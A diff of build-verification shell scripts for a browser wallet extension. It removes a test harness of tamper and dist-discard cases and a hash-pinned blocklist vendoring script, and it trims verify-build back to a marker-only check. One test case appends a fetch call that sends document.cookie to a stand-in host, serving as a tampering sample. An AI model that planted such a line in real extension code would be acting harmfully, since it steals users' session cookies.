-# A 26-byte file whose entire content is the marker string used to verify ok.
-c_marker_only_stub() {
-    printf '%s' "$MARKER_OFF" >dist/chrome/src/popup/index.js
-}
-
-# The content script runs on every page the browser loads and was never read.
-c_tampered_content_script() {
-    printf 'fetch("https://example.invalid/"+document.cookie);\n' \
-        >>dist/chrome/src/content/index.js
-}
-
-# The manifest decides permissions and CSP and was never read either.
-c_tampered_manifest() {
-    printf '{"manifest_version":3,"host_permissions":["<all_urls>"]}\n' \
-        >dist/chrome/manifest.json
-}
-
-# A dist/ that has nothing to do with this build, carrying the right file
-# names and the right marker, offered against this build's receipt.
-c_foreign_dist() {
-    rm -rf dist
-    mkdir -p dist/chrome/src/popup dist/chrome/src/content dist/firefox/src/popup
-    write_bundle dist/chrome/src/popup/index.js "$MARKER_OFF"
-    write_bundle dist/firefox/src/popup/index.js "$MARKER_OFF"
-    printf 'var hostile=1;\n' >dist/chrome/src/content/index.js
-    printf '{"manifest_version":3}\n' >dist/chrome/manifest.json
-    printf 'body{color:#fff}\n' >dist/styles.css
-}
-
-# Cases that state what the build itself emitted, and so regenerate the
-# receipt over the changed bytes.
-
-c_no_marker() {
-    printf 'var d=4;\n' >dist/chrome/src/popup/index.js
-    write_receipt
-}
-
-c_both_markers() {
-    printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js
-    write_receipt
-}
-
-c_marker_on_plain_file() {
-    printf 'var c=3;/* %s */\n' "$MARKER_OFF" \
-        >dist/chrome/src/content/index.js
-    write_receipt
-}
-
-c_debug_build() {
-    write_bundle dist/chrome/src/popup/index.js "$MARKER_ON"
-    write_bundle dist/firefox/src/popup/index.js "$MARKER_ON"
-    write_receipt
-}
-
-c_no_dist() { rm -rf dist; }
-
-# --- dist discard -----------------------------------------------------------
-#
-# make build wraps every step of the release path in
-# script/discard-dist-on-failure, so a release build that fails removes dist/:
-# with AUTISTMASK_DEBUG=1 exported it has already emitted a complete, loadable
-# debug bundle whose every wallet uses the publicly committed test recovery
-# phrase, and a loud failure alone does not stop someone loading dist/chrome/
-# anyway. make build-debug is deliberately not wrapped.
-#
-# Both directions are asserted against the state of dist/ ON DISK after the run,
-# not against the exit status: a case reading only the status would keep passing
-# if the removal quietly stopped happening, which is the flip this exists to
-# catch. The wrapper runs against the fixture — its ROOT is the fixture, via the
-# symlink in the fixture's script/ — with trivial commands standing in for the
-# build steps, because what is under test is what happens after a step says no,
-# not the step.
-
-# discard_case <name> <setup> <status> <gone|kept> <want> <unwanted> [cmd...]
-discard_case() {
-    _dc_name="$1"
-    _dc_setup="$2"
-    _dc_want_status="$3"
-    _dc_want_dist="$4"
-    _dc_want="$5"
-    _dc_unwanted="$6"
-    shift 6
-
-    build_fixture
-    if ! (cd "$FIXTURE" && "$_dc_setup") >/dev/null 2>&1; then
-        FAILED=$((FAILED + 1))
-        echo "  FAIL: $_dc_name"
-        echo "    the case's own setup failed, so nothing was tested."
-        return 0
-    fi
-
-    _dc_status=0
-    _dc_out="$(cd "$FIXTURE" &&
-        "$FIXTURE/script/discard-dist-on-failure" "$@" 2>&1)" || _dc_status=$?
-
-    _ok=yes
-    _why=""
-
-    if [ "$_dc_status" -ne "$_dc_want_status" ]; then
-        _ok=no
-        _why="exit status $_dc_status, wanted $_dc_want_status"
-    fi
-
-    # The assertion this case exists for: what is on disk now.
-    if [ -e "$FIXTURE/dist" ] || [ -h "$FIXTURE/dist" ]; then
-        _dc_dist=kept
-    else
-        _dc_dist=gone
-    fi
-    if [ "$_dc_dist" != "$_dc_want_dist" ]; then
-        _ok=no
-        _why="${_why:+$_why; }dist/ is $_dc_dist after the run, wanted"
-        _why="$_why $_dc_want_dist"
-    elif [ "$_dc_want_dist" = kept ] &&
-        [ ! -f "$FIXTURE/dist/chrome/src/popup/index.js" ]; then
-        # Kept has to mean intact: a dist/ emptied out is not one left alone.
-        _ok=no
-        _why="${_why:+$_why; }dist/ survived but its emitted bundle did not"
-    fi
-
-    _dc_check_message "$_dc_want" want
-    _dc_check_message "$_dc_unwanted" unwanted
-
-    if [ "$_ok" = yes ]; then
-        PASSED=$((PASSED + 1))
-        echo "  ok: $_dc_name"
-        return 0
-    fi
-
-    FAILED=$((FAILED + 1))
-    echo "  FAIL: $_dc_name"
-    echo "    $_why"
-    echo "    --- discard-dist-on-failure output ---"
-    printf '%s\n' "$_dc_out" | sed 's/^/    /'
-    echo "    --- end output ---"
-}
-
-# Require ($2 = want) or forbid ($2 = unwanted) a substring in the wrapper's
-# output, updating _ok and _why. An empty substring asserts nothing. Same grep
-# discipline as everywhere else here: 0 and 1 are answers, anything else means
-# the message was never checked.
-_dc_check_message() {
-    [ -n "$1" ] || return 0
-
-    _dcm_g=0
-    printf '%s\n' "$_dc_out" | grep -q -F -e "$1" || _dcm_g=$?
-    case "$_dcm_g" in
-    0)
-        [ "$2" = unwanted ] || return 0
-        _ok=no
-        _why="${_why:+$_why; }message contained: $1"
-        ;;
-    1)
-        [ "$2" = want ] || return 0
-        _ok=no
-        _why="${_why:+$_why; }message did not contain: $1"
-        ;;
-    *)
-        _ok=no
-        _why="${_why:+$_why; }grep exited $_dcm_g matching the message, so the
-      message was never checked"
-        ;;
-    esac
-}
-
-# --- Makefile wiring --------------------------------------------------------
-
-# The verifier cases above prove what verify-build does when it is told what to
-# expect, and the discard cases prove what the wrapper does with dist/. This
-# proves the Makefile wires both up — the mode as an argument, on a scrubbed
-# environment, identically whether or not AUTISTMASK_DEBUG is exported in the
-# shell that ran make, and the wrapper on the release path only. Read off
-# `make -n`, so no build runs.
-check_makefile_wiring() {
-    if ! command -v make >/dev/null 2>&1; then
-        SKIPPED=$((SKIPPED + 1))
-        SKIPPED_NAMES="$SKIPPED_NAMES##   - Makefile wiring (make not found)$NEWLINE"
-        echo "  SKIP (make not found): Makefile wiring"
-        return 0
-    fi
-
-    # make build must ask for release, and must scrub the flag from the
-    # verifier's environment, even when the caller has it exported.
-    _wiring_case "make build passes --expect release" \
-        build "verify-build --expect release"
-    _wiring_case "make build scrubs AUTISTMASK_DEBUG for the verifier" \
-        build "env -u AUTISTMASK_DEBUG"
-    _wiring_case "make build-debug passes --expect debug" \
-        build-debug "verify-build --expect debug"
-    _wiring_case "make build-debug scrubs AUTISTMASK_DEBUG for the verifier" \
-        build-debug "env -u AUTISTMASK_DEBUG"
-
-    # The release path runs its steps through the wrapper, including the final
-    # check-censored pass; the debug path runs none of them through it, which is
-    # what keeps a failed debug build's dist/ on disk.
-    _wiring_case "make build wraps its steps in discard-dist-on-failure" \
-        build "script/discard-dist-on-failure"
-    _wiring_case "make build wraps check-censored --require-dist too" \
-        build "script/discard-dist-on-failure script/check-censored"
-    _wiring_case_absent "make build-debug never discards its dist/" \
-        build-debug "discard-dist-on-failure"
-}
-
-# Run `make -n TARGET` with AUTISTMASK_DEBUG=1 exported, into _wc_out. Returns
-# non-zero, having already reported the failure, when make itself failed: a
-# recipe that could not be printed was never checked.
-_wiring_make_n() {
-    AUTISTMASK_DEBUG=1
-    export AUTISTMASK_DEBUG
-    _wc_status=0
-    _wc_out="$(cd "$ROOT" && make -n "$_wc_target" 2>&1)" || _wc_status=$?
-    unset AUTISTMASK_DEBUG
-
-    [ "$_wc_status" -ne 0 ] || return 0
-
-    FAILED=$((FAILED + 1))
-    echo "  FAIL: $_wc_name"
-    echo "    make -n $_wc_target exited $_wc_status"
-    return 1
-}
-
-_wiring_case() {
-    _wc_name="$1"
-    _wc_target="$2"
-    _wc_want="$3"
-
-    _wiring_make_n || return 0
-
-    _wc_g=0
-    printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
-    case "$_wc_g" in
-    0)
-        PASSED=$((PASSED + 1))
-        echo "  ok: $_wc_name"
-        ;;
-    1)
-        FAILED=$((FAILED + 1))
-        echo "  FAIL: $_wc_name"
-        echo "    make -n $_wc_target does not run: $_wc_want"
-        ;;
-    *)
-        FAILED=$((FAILED + 1))
-        echo "  FAIL: $_wc_name"
-        echo "    grep exited $_wc_g, so the recipe was never checked"
-        ;;
-    esac
-}
-
-# The inverse: the recipe must NOT run something.
-_wiring_case_absent() {
-    _wc_name="$1"
-    _wc_target="$2"
-    _wc_want="$3"
-
-    _wiring_make_n || return 0
-
-    _wc_g=0
-    printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
-    case "$_wc_g" in
-    1)
-        PASSED=$((PASSED + 1))
-        echo "  ok: $_wc_name"
-        ;;
-    0)
-        FAILED=$((FAILED + 1))
-        echo "  FAIL: $_wc_name"
-        echo "    make -n $_wc_target runs: $_wc_want"
-        ;;
-    *)
-        FAILED=$((FAILED + 1))
-        echo "  FAIL: $_wc_name"
-        echo "    grep exited $_wc_g, so the recipe was never checked"
-        ;;
-    esac
-}
-
-run_cases() {
-    check_case "control: untouched dist passes" \
-        no release 0 "2 bundle(s) $MARKER_OFF" c_control
-
-    check_case "AUTISTMASK_DEBUG=1 in the environment does not decide the mode" \
-        no release-envdebug 0 "2 bundle(s) $MARKER_OFF" c_control
-
-    check_case "debug bundles under --expect release fail (make build with
-        AUTISTMASK_DEBUG=1 exported)" \
-        no release-envdebug 1 \
-        "is $MARKER_ON but this build was told to expect" c_debug_build
-
-    check_case "debug bundles under --expect debug pass" \
-        no debug 0 "2 bundle(s) $MARKER_ON" c_debug_build
-
-    check_case "no --expect argument" \
-        no no-expect 1 "no --expect argument." c_control
-
-    check_case "no --receipt argument" \
-        no no-receipt 1 "no --receipt argument." c_control
-
-    check_case "--expect takes release or debug" \
-        no bad-expect 1 "--expect takes release or debug" c_control
-
-    check_case "unknown argument" \
-        no unknown-arg 1 "unknown argument: --force" c_control
-
-    check_case "receipt inside the tree it describes" \
-        no receipt-in-dist 1 "the receipt is inside dist/" c_receipt_in_dist
-
-    check_case "bundle replaced by a file containing only the marker" \
-        no release 1 "does not contain the bytes this build emitted" \
-        c_marker_only_stub
-
-    check_case "content script tampered with after the build" \
-        no release 1 \
-        "dist/chrome/src/content/index.js does not contain the bytes" \
-        c_tampered_content_script
-
-    check_case "manifest.json tampered with after the build" \
-        no release 1 "dist/chrome/manifest.json does not contain the bytes" \
-        c_tampered_manifest
-
-    check_case "hand-written dist/ offered against this build's receipt" \
-        no release 1 "does not contain the bytes this build emitted" \
-        c_foreign_dist
-
-    check_case "extra file under dist/ carrying a marker" \
-        no release 1 \
-        "dist/chrome/src/popup/extra.mjs is under dist/ but the build" \
-        c_extra_file_with_marker
-
-    check_case "extra file under dist/ carrying no marker" \
-        no release 1 \
-        "dist/chrome/src/popup/vendor.js is under dist/ but the build" \
-        c_extra_file_no_marker
-
-    check_case "extra file, trailing space in name" \
-        no release 1 "is under dist/ but the build that just ran did not emit" \
-        c_trailing_space
-
-    check_case "extra file, newline in name" \
-        no release 1 "is under dist/ but the build that just ran did not emit" \
-        c_embedded_newline
-
-    check_case "dist/ replaced by a symlink" \
-        no release 1 "dist is a symlink, not a directory." c_dist_symlink
-
-    check_case "unwalkable subtree under dist/" \
-        yes release 1 "enumerating dist/, so part of the tree" \
-        c_unwalkable_subtree
-
-    check_case "dangling symlink under dist/" \
-        no release 1 \
-        "dist/chrome/dangling.js is a symlink under dist/" c_dangling_symlink
-
-    check_case "symlink to a directory under dist/" \
-        no release 1 \
-        "dist/chrome/link-to-dir is a symlink under dist/" c_dir_symlink
-
-    check_case "symlink aliasing an emitted bundle under another path" \
-        no release 1 \
-        "dist/chrome/src/aliased.js is a symlink under dist/" c_alias_symlink
-
-    check_case "receipt missing" \
-        no release 1 "is missing. build.js writes it" c_receipt_missing
-
-    check_case "receipt empty" \
-        no release 1 "is empty, so the build wrote nothing to it" \
-        c_receipt_empty
-
-    check_case "receipt unreadable" \
-        yes release 1 "is not readable, so nothing was inspected." \
-        c_receipt_unreadable
-
-    check_case "receipt is not a build receipt" \
-        no release 1 "does not start with" c_receipt_bad_header
-
-    check_case "receipt from a different checkout" \
-        no release 1 "was written by a build of a different tree" \
-        c_receipt_other_tree
-
-    check_case "receipt names a path containing a space" \
-        no release 1 "cannot be read back unambiguously" \
-        c_receipt_path_with_space
-
-    check_case "receipt names a path outside dist/" \
-        no release 1 "names a path that is not under dist/" \
-        c_receipt_path_outside_dist
-
-    check_case "emitted file missing" \
-        no release 1 \
-        "names dist/chrome/src/popup/index.js, which does not exist." \
-        c_emitted_missing
-
-    check_case "emitted file empty" \
-        no release 1 "which is empty. An empty file" c_emitted_empty
-
-    check_case "emitted file unreadable" \
-        yes release 1 \
-        "on dist/chrome/src/popup/index.js, so its bytes were never read" \
-        c_emitted_unreadable
-
-    check_case "emitted bundle carries no marker" \
-        no release 1 "carries no debug marker, so its DEBUG state cannot be" \
-        c_no_marker
-
-    check_case "emitted bundle carries both markers" \
-        no release 1 "carries both debug markers, so DEBUG was not resolved" \
-        c_both_markers
-
-    check_case "marker on a file the build did not record as a bundle" \
-        no release 1 "carries a debug marker but the build did not" \
-        c_marker_on_plain_file
-
-    discard_case "a failed release build step removes dist/" \
-        c_control 3 gone "dist/ WAS REMOVED" "" sh -c 'exit 3'
-
-    discard_case "a successful release build step leaves dist/ alone" \
-        c_control 0 kept "" "REMOVED" true
-
-    discard_case "a failed release build step with no dist/ says there was none" \
-        c_no_dist 3 gone "There was no dist/ to remove" "" sh -c 'exit 3'
-
-    discard_case "the wrapper given no command removes nothing" \
-        c_control 1 kept "no command given" ""
-
-    check_makefile_wiring
-}
-
-# --- main --------------------------------------------------------------------
-
-# The harness cannot build a receipt without a digest, so a missing sha256
-# command is a failure here rather than a silent reduction in coverage.
-pick_sha256_tool() {
-    if command -v sha256sum >/dev/null 2>&1; then
-        SHA256_CMD="sha256sum"
-    elif command -v shasum >/dev/null 2>&1; then
-        SHA256_CMD="shasum -a 256"
-    elif command -v openssl >/dev/null 2>&1; then
-        SHA256_CMD="openssl dgst -sha256 -r"
-    else
-        echo "test-verify-build: no sha256 command found (tried sha256sum," \
-            "shasum, openssl), so no fixture receipt can be written" >&2
-        exit 1
-    fi
-}
-
-main() {
-    cd "$ROOT"
-
-    [ -x "$VERIFY_BUILD" ] || {
-        echo "test-verify-build: $VERIFY_BUILD is missing or not executable" >&2
-        exit 1
-    }
-    [ -x "$DISCARD_DIST" ] || {
-        echo "test-verify-build: $DISCARD_DIST is missing or not executable" >&2
-        exit 1
-    }
-
-    echo "Testing script/verify-build failure modes..."
-    pick_sha256_tool
-    probe_permission_runner
-    if [ "$PERM_ENABLED" = yes ]; then
-        echo "  permission cases: enabled (runner: $PERM_HOW, proved against" \
-            "a mode-000 file)"
-    fi
-
-    run_cases
-
-    if [ "$FAILED" -ne 0 ]; then
-        echo "test-verify-build: $FAILED case(s) FAILED," \
-            "$PASSED passed, $SKIPPED skipped" >&2
-        exit 1
-    fi
-
-    if [ "$SKIPPED" -ne 0 ]; then
-        cat <<EOF
-################################################################################
-## WARNING: $SKIPPED CASE(S) DID NOT RUN, AND THIS RUN DOES NOT PROVE THEM.
-## This process is uid $(id -u), and no runner subject to file permissions was
-## available. Tried: $PERM_HOW.
-## Under root, chmod 000 stops neither find nor grep, so the permission cases
-## would have passed without testing anything. They were skipped, not counted:
-$SKIPPED_NAMES################################################################################
-EOF
-        echo "test-verify-build: $PASSED case(s) passed," \
-            "$SKIPPED SKIPPED AND NOT PROVEN (see the warning above)"
-        return 0
-    fi
-
-    echo "test-verify-build: $PASSED case(s) passed"
-}
-
-main "$@"

script/vendor-blocklist

@@ -1,105 +0,0 @@
-#!/bin/sh
-# script/vendor-blocklist: refresh the vendored phishing blocklist at
-# src/shared/phishingBlocklist.json from its upstream source. Our own extension
-# to scripts-to-rule-them-all.
-#
-# This is build-time repo tooling and is not shipped. It is the one place in
-# this repo that names the upstream project, because a source reference that
-# does not say what the source is cannot be verified by anyone; the artifact it
-# writes carries no names at all (see src/shared/domainHash.js).
-# script/check-censored reads the name back out of this file rather than
-# repeating it, so it stays defined exactly once.
-#
-# Run it deliberately, not on every build: the output is committed, and the
-# extension does no runtime fetching, so the shipped list is exactly as fresh as
-# the last time someone ran this and landed the result. Re-run it, land the
-# diff, cut a release; that is the whole refresh path.
-#
-# Pinned by content hash, twice over, as REPO_POLICIES.md requires. The commit
-# below is an immutable ref — the upstream default branch moves several times a
-# day and cannot be pinned — and UPSTREAM_SHA256 is the sha256 of the bytes that
-# commit serves. A mismatch is a hard failure: a vendoring step that accepts
-# whatever it is handed is a supply-chain hole, and this one feeds a security
-# warning shown to users.
-#
-# To move the pin: pick the new commit, run this with the new UPSTREAM_COMMIT
-# and an UPSTREAM_SHA256 you have not yet updated, and it will print the hash it
-# actually got. Verify that hash against the source independently before
-# recording it. Never copy the "actual" line in on trust.
-set -eu
-
-ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
-
-# Upstream, pinned 2026-08-17.
-UPSTREAM_ORG="MetaMask"
-UPSTREAM_REPO="eth-phishing-detect"
-UPSTREAM_COMMIT="6dddf74a87da3e1a0841f7ae0d1cb31aaf2c05db"
-UPSTREAM_FILE="src/config.json"
-UPSTREAM_SHA256="166d5b3504e8f4ed52eae37d3dd20c1a56efa0502bfb3dc957044ff8b5f1283f"
-
-OUTPUT="src/shared/phishingBlocklist.json"
-
-WORK=""
-
-cleanup() {
-    [ -z "$WORK" ] || rm -rf "$WORK"
-}
-trap cleanup EXIT INT TERM
-
-fail() {
-    echo "vendor-blocklist: $*" >&2
-    exit 1
-}
-
-sha256_of() {
-    if command -v sha256sum >/dev/null 2>&1; then
-        sha256sum "$1" | cut -d' ' -f1
-    elif command -v shasum >/dev/null 2>&1; then
-        shasum -a 256 "$1" | cut -d' ' -f1
-    else
-        fail "neither sha256sum nor shasum is available, so the fetched
-    source cannot be verified. Refusing to vendor unverified content."
-    fi
-}
-
-main() {
-    cd "$ROOT"
-
-    command -v curl >/dev/null 2>&1 ||
-        fail "curl is required to fetch the upstream list"
-    command -v node >/dev/null 2>&1 ||
-        fail "node is required to build the artifact; run script/bootstrap"
-
-    WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-vendor-blocklist.XXXXXX")" ||
-        fail "could not create a working directory"
-
-    url="https://raw.githubusercontent.com/$UPSTREAM_ORG/$UPSTREAM_REPO/$UPSTREAM_COMMIT/$UPSTREAM_FILE"
-    echo "Fetching $url"
-    curl -fsSL --proto '=https' --tlsv1.2 -o "$WORK/source.json" "$url" ||
-        fail "the fetch failed, so nothing was vendored"
-
-    actual="$(sha256_of "$WORK/source.json")"
-    if [ "$actual" != "$UPSTREAM_SHA256" ]; then
-        fail "sha256 mismatch on the fetched source.
-    expected: $UPSTREAM_SHA256
-    actual:   $actual
-    The pinned commit is immutable, so the same commit serving different bytes
-    means the content was substituted somewhere between upstream and here.
-    Nothing was written. Do not update the expectation to match unless you have
-    verified the new bytes independently."
-    fi
-    echo "Verified sha256 $actual"
-
-    node script/lib/build-blocklist.js "$WORK/source.json" "$WORK/out.json" ||
-        fail "the transform failed, so nothing was written"
-
-    if [ -f "$OUTPUT" ] && cmp -s "$WORK/out.json" "$OUTPUT"; then
-        echo "vendor-blocklist: $OUTPUT is already up to date"
-        return 0
-    fi
-
-    cp "$WORK/out.json" "$OUTPUT"
-    echo "vendor-blocklist: wrote $OUTPUT (sha256 $(sha256_of "$OUTPUT"))"
-}
-
-main "$@"

script/verify-build

@@ -1,118 +1,39 @@
 #!/bin/sh
-# script/verify-build: assert that the regular files and symlinks under dist/
-# are exactly what the build that just ran emitted (other file types are out of
-# scope; see "What that does and does not establish" below), and that the
-# compiled DEBUG state of that output is the one the caller asked for. Our own
-# extension to scripts-to-rule-them-all, run at the end of make build /
-# make build-debug.
+# script/verify-build: assert the compiled DEBUG state of the emitted
+# bundles. Our own extension to scripts-to-rule-them-all, run at the end of
+# make build / make build-debug.
 #
-# Why the DEBUG half exists: DEBUG makes the publicly committed test recovery
-# phrase the output of wallet creation, so a release artifact built with it live
-# hands every new wallet to anyone who reads the repo. The test suite cannot see
-# this, because it loads src/shared/constants.js outside a bundle and takes the
-# fallback branch; the property only exists in the emitted output, so it has to
-# be asserted against the emitted output.
+# Why this exists: DEBUG makes the publicly committed test recovery phrase the
+# output of wallet creation, so a release artifact built with it live hands
+# every new wallet to anyone who reads the repo. The test suite cannot see
+# this, because it loads src/shared/constants.js outside a bundle and takes
+# the fallback branch; the property only exists in the emitted output, so it
+# has to be asserted against the emitted output.
 #
-# Which mode to expect is an ARGUMENT (--expect release|debug) and is never
-# taken from this script's environment. It used to be read from
-# AUTISTMASK_DEBUG here, which meant an operator with AUTISTMASK_DEBUG=1
-# exported in their shell could run the release target, get a debug build, and
-# have it verified green and exit 0. There is also no default: a caller that
-# does not say what it built gets a failure, because "no opinion" is not a
-# state this can check anything against.
+# What it reads: dist/constants-bundles.txt, written by build.js from
+# esbuild's metafile, naming every emitted bundle that contains
+# src/shared/constants.js. Each of those must carry exactly one of the two
+# BUILD_DEBUG_MARKER literals that constants.js folds down to.
 #
-# Why the provenance half exists: on its own, a marker grep proves nothing
-# about where the bytes came from. A 26-byte file containing only the marker
-# string used to verify ok; the content script and manifest.json were not read
-# at all; an entire hand-written dist/ passed. The list of files to check has
-# therefore moved OUT of dist/: build.js writes a receipt naming every file it
-# emitted, with each file's sha256 and whether it is one of the bundles
-# containing src/shared/constants.js, and the Makefile creates that receipt
-# path fresh per invocation, outside the repo, and deletes it afterwards.
-#
-# What that does and does not establish. It establishes that dist/ is byte for
-# byte the output of the build.js run that just finished, with no regular file
-# or symlink added, missing or altered in between, and that the audited bundles
-# in it compiled to the requested mode. Regular files and symlinks are the whole
-# of what the tree walk covers; fifos, sockets, device nodes and empty
-# directories under dist/ are not checked, because a build emits none of them,
-# none can carry a shippable payload, and grep on a fifo would hang rather than
-# fail. It does NOT establish that the source tree or build.js were honest, and
-# it says nothing at all to someone handed a dist/ from elsewhere: without the
-# receipt from its own build they have no input to this check. That is signing,
-# and it is not this control.
-#
-# It fails rather than passes whenever it cannot determine something. Minified
-# output is not a stable contract, so "matched neither marker" is not evidence
-# of anything and must never read as green; the same discipline applies to
-# every read here, which is why a grep or a digest that could not be taken is
-# a hard failure and not an absence of a problem.
+# It fails rather than passes whenever it cannot determine a bundle's state.
+# Minified output is not a stable contract, so "matched neither form" is not
+# evidence of anything and must never read as green.
 set -eu
 
 ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
 
-# Absolute path to this script, resolved before anything cd's anywhere.
-# check_dist_tree re-invokes it through xargs, and $0 on its own may be
-# relative to a directory we are about to leave.
-SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")"
-
-# Internal re-entry flag; see scan_dist_paths.
-SCAN_FLAG="--scan-dist-paths"
-
-# A literal newline and tab, for the receipt-shape guards.
-NEWLINE='
-'
-TAB='	'
-
+MANIFEST="dist/constants-bundles.txt"
 MARKER_ON="autistmask-build-debug=on"
 MARKER_OFF="autistmask-build-debug=off"
 
-RECEIPT_HEADER="autistmask-build-receipt v1"
-
-# Set by the arguments.
-RECEIPT=""
-EXPECT=""
-
-# Set by read_marker, read_sha256 and parse_file_line respectively, plus the
-# receipt line number the diagnostics quote.
+# Set by read_marker.
 MARKER=""
-SHA=""
-ENTRY_HASH=""
-ENTRY_FLAG=""
-ENTRY_PATH=""
-LINENO_R=0
-
-# The sha256 command, chosen by pick_sha256.
-SHA256=""
-
-# Totals: the shape pass counts what the receipt claims, the entries pass
-# counts what was actually checked against dist/, and the summary reports the
-# latter.
-SHAPE_COUNT=0
-SHAPE_AUDITED=0
-COUNT=0
-AUDITED=0
-
-# Temporary file holding the NUL-delimited dist/ listing, removed by the EXIT
-# trap because fail() exits from wherever it is called.
-LISTING=""
 
 fail() {
     echo "verify-build: FAIL: $*" >&2
     exit 1
 }
 
-usage() {
-    echo "usage: verify-build --expect release|debug --receipt PATH" >&2
-}
-
-cleanup() {
-    [ -z "$LISTING" ] || rm -f "$LISTING"
-}
-trap cleanup EXIT
-
-# --- reading files ----------------------------------------------------------
-
 # Is the literal $1 present in the file $2? Match (grep exit 0) and no-match
 # (exit 1) are answers about the emitted output. Anything else (exit 2: the
 # file could not be read) is not an answer at all, and must not be reported as
@@ -132,46 +53,24 @@ has_marker() {
     esac
 }
 
-# Pick the sha256 command once. All three print the digest as the first
-# whitespace-delimited field. If none is present the digests cannot be taken at
-# all, and this script has nothing left to check with, so it fails rather than
-# degrading to the marker grep it used to be.
-pick_sha256() {
-    if command -v sha256sum >/dev/null 2>&1; then
-        SHA256="sha256sum"
-    elif command -v shasum >/dev/null 2>&1; then
-        SHA256="shasum -a 256"
-    elif command -v openssl >/dev/null 2>&1; then
-        SHA256="openssl dgst -sha256 -r"
-    else
-        fail "no sha256 command found (tried sha256sum, shasum, openssl), so
-    the emitted files cannot be checked against the build receipt at all.
-    Refusing to report success."
-    fi
-}
-
-# Digest of $1 into SHA. A digest that could not be taken is not a mismatch and
-# not a pass: it means the artifact was never read.
-read_sha256() {
-    _rs_status=0
-    # Word-split on purpose: SHA256 is a command with its arguments.
-    # shellcheck disable=SC2086
-    _rs_out="$($SHA256 "$1" 2>/dev/null)" || _rs_status=$?
-    [ "$_rs_status" -eq 0 ] ||
-        fail "$SHA256 exited $_rs_status on $1, so its bytes were never read
-    and nothing was established about them. That is a permissions or I/O fault
-    on the artifact, not a mismatch. Refusing to report success."
-
-    SHA="${_rs_out%% *}"
-    case "$SHA" in
-    "" | *[!0-9a-f]*)
-        fail "$SHA256 produced no usable digest for $1, so its bytes were never
-    checked. Refusing to report success."
+# Does the manifest list the path $1, as a whole line? Same discipline as
+# has_marker: exit 0 and 1 are answers about the manifest, exit 2 means the
+# manifest could not be read and is not an answer at all. Without this, an
+# unreadable manifest reads as "this file is not listed" and every emitted
+# bundle gets reported as an unlisted one.
+is_listed() {
+    _il_status=0
+    grep -q -x -F -e "$1" -- "$MANIFEST" || _il_status=$?
+    case "$_il_status" in
+    0) return 0 ;;
+    1) return 1 ;;
+    *)
+        fail "grep exited $_il_status reading $MANIFEST, so it could not be
+    searched and nothing was established about which bundles it lists. That is
+    a permissions or I/O fault on the manifest, not a stale manifest. Refusing
+    to report success."
         ;;
     esac
-    [ "${#SHA}" -eq 64 ] ||
-        fail "$SHA256 produced a ${#SHA}-character digest for $1, which is not
-    a sha256. Refusing to report success."
 }
 
 # Read one bundle's DEBUG state into MARKER. Exactly one marker must be
@@ -210,398 +109,104 @@ read_marker() {
     fi
 }
 
-# --- the receipt ------------------------------------------------------------
-
-# Split one "file <sha256> <A|P> <path>" line into ENTRY_HASH, ENTRY_FLAG and
-# ENTRY_PATH, and require the shape rather than assuming it. The path is the
-# remainder of the line, so a path carrying a space or a tab would be read back
-# as something other than what was written; build.js refuses to emit such a
-# name, and a receipt that contains one is malformed rather than describing a
-# file. Every rejection here is a failure: a line that cannot be understood is
-# a file that would otherwise go unchecked.
-parse_file_line() {
-    case "$1" in
-    "file "*) ;;
-    *)
-        fail "$RECEIPT line $LINENO_R is not a file entry and this script does
-    not know what it means: ${1}. Refusing to report success."
-        ;;
-    esac
-
-    _pl="${1#file }"
-    ENTRY_HASH="${_pl%% *}"
-    _pl="${_pl#* }"
-    ENTRY_FLAG="${_pl%% *}"
-    ENTRY_PATH="${_pl#* }"
-
-    case "$ENTRY_HASH" in
-    "" | *[!0-9a-f]*) fail "$RECEIPT line $LINENO_R has no sha256: $1" ;;
-    esac
-    [ "${#ENTRY_HASH}" -eq 64 ] ||
-        fail "$RECEIPT line $LINENO_R has a ${#ENTRY_HASH}-character digest,
-    which is not a sha256: $1"
-
-    case "$ENTRY_FLAG" in
-    A | P) ;;
-    *) fail "$RECEIPT line $LINENO_R has no A/P audit flag: $1" ;;
-    esac
-
-    case "$ENTRY_PATH" in
-    dist/*) ;;
-    *)
-        fail "$RECEIPT line $LINENO_R names a path that is not under dist/:
-    $ENTRY_PATH. The receipt describes the emitted tree and nothing else."
-        ;;
-    esac
-    case "$ENTRY_PATH" in
-    *" "* | *"$TAB"* | *"$NEWLINE"*)
-        fail "$RECEIPT line $LINENO_R names a path containing whitespace, which
-    cannot be read back unambiguously from a line-oriented receipt: $1"
-        ;;
-    esac
-}
-
-# Check one emitted file against its receipt entry: it must be a regular file
-# with exactly the recorded bytes, and its debug marker must match what the
-# caller said this build was.
-check_entry() {
-    [ ! -h "$ENTRY_PATH" ] ||
-        fail "the receipt names $ENTRY_PATH but that path is a symlink. The
-    build emits regular files only, so this is not the file it wrote. Refusing
-    to report success."
-    [ -f "$ENTRY_PATH" ] ||
-        fail "the receipt names $ENTRY_PATH, which does not exist. dist/ does
-    not hold what the build emitted."
-    [ -s "$ENTRY_PATH" ] ||
-        fail "the receipt names $ENTRY_PATH, which is empty. An empty file
-    carries no marker and matches no digest, so this is a failure and not a
-    pass."
-
-    read_sha256 "$ENTRY_PATH"
-    [ "$SHA" = "$ENTRY_HASH" ] ||
-        fail "$ENTRY_PATH does not contain the bytes this build emitted: the
-    receipt records $ENTRY_HASH and the file on disk is $SHA. Something wrote
-    to dist/ after the build, so this artifact is not the one that was built."
-
-    if [ "$ENTRY_FLAG" = A ]; then
-        read_marker "$ENTRY_PATH"
-        [ "$MARKER" = "$EXPECT" ] ||
-            fail "$ENTRY_PATH is $MARKER but this build was told to expect
-    $EXPECT. If AUTISTMASK_DEBUG=1 is exported in the shell that ran make
-    build, that is why: the flag still reaches the compiler, and this is the
-    check that stops the debug artifact being taken for a release one."
-        echo "  ok: $ENTRY_PATH ($MARKER)"
-        AUDITED=$((AUDITED + 1))
-    else
-        if has_marker "$MARKER_ON" "$ENTRY_PATH" ||
-            has_marker "$MARKER_OFF" "$ENTRY_PATH"; then
-            fail "$ENTRY_PATH carries a debug marker but the build did not
-    record it as containing src/shared/constants.js. build.js selects audited
